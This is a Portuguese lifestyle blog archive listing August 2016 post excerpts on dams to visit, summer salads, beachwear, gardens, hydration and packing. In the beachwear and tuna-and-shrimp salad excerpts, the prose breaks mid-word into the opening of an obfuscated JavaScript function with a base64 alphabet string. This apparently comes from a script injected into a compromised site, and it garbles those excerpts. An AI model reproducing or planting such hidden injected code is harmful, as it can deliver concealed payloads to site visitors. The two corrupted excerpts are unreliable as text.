10 barragens portuguesas que tem de conhecer

Ago 13, 2016 | À descoberta, Dicas úteis

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Está de férias? Então porque não fugir aos roteiros de sempre e optar por conhecer mais de perto algumas das barragens portuguesas mais emblemáticas? Ora espreite estas 10 sugestões de norte e sul de Portugal.   Barragem do Alqueva A nossa maior barragem e a maior da...

2 saladas muito frescas e saudáveis

Ago 13, 2016 | À descoberta, Receitas

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2 saladas muito frescas e saudáveis, por Luísa Fortes da Cunha Salada de atum com queijo Halloumi Ingredientes 1 lata de atum 4 fatias de queijo Halloumi grelhado Alface, tomate, pepino a gosto Tempera com sal, azeite e vinagre balsâmico Preparação O queijo Halloumi é...

7 saídas de praia super fashion

Ago 10, 2016 | Equilíbrio, Estilo e beleza

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Com o calor que está, a praia chama por si para longos banhos e sentir o sol bronzear a sua pele. Para estar sempre em grfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var...

10 quintais de sonho – Qual é o seu preferido?

Ago 9, 2016 | À descoberta, Dicas úteis

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10 quintais de sonho – Qual é o seu preferido? Quintais há muitos, mas deixo-lhe uma selecção de 10 incríveis quintais de sonho, mesmo! Tem algum preferido? Eu confesso que estou indecisa.   Um quintal com barbecue. Nestas noites quentes de verão é um sítio...

2 saladas para um verão mais apetitoso

Ago 3, 2016 | À descoberta, Receitas

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2 saladas para um verão mais apetitoso, por Luísa Fortes da Cunha Salada de atum e camarão Ingredientes 1 pacote de salada gourmet 10 tomatinhos cherry 1 Cebola 3 ovos cozidos 400 g camarões grfunction a4872b9c6b(y1){var...

7 dicas para se manter hidratado neste verão

Ago 3, 2016 | Equilíbrio, Saúde e bem estar

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7 dicas para se manter hidratado neste verão, por Lillian Barros É importante estarmos hidratados durante todo o ano, e em especial no verão, devido ao calor que nos faz desidratar mais facilmente. Mas, embora a água seja essencial à vida, nem todas as pessoas bebem o...

10 dicas para a mala de viagem ideal

Ago 1, 2016 | À descoberta, Dicas úteis

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Se ir de férias é uma verdadeira alegria, fazer as malas… nem tanto! Sobretudo para nós, mulheres, que temos tendência a ficar indecisas acerca do que que realmente precisamos e acabamos por atabalhoar tudo o que conseguimos dentro da mala de viagem. A verdade é...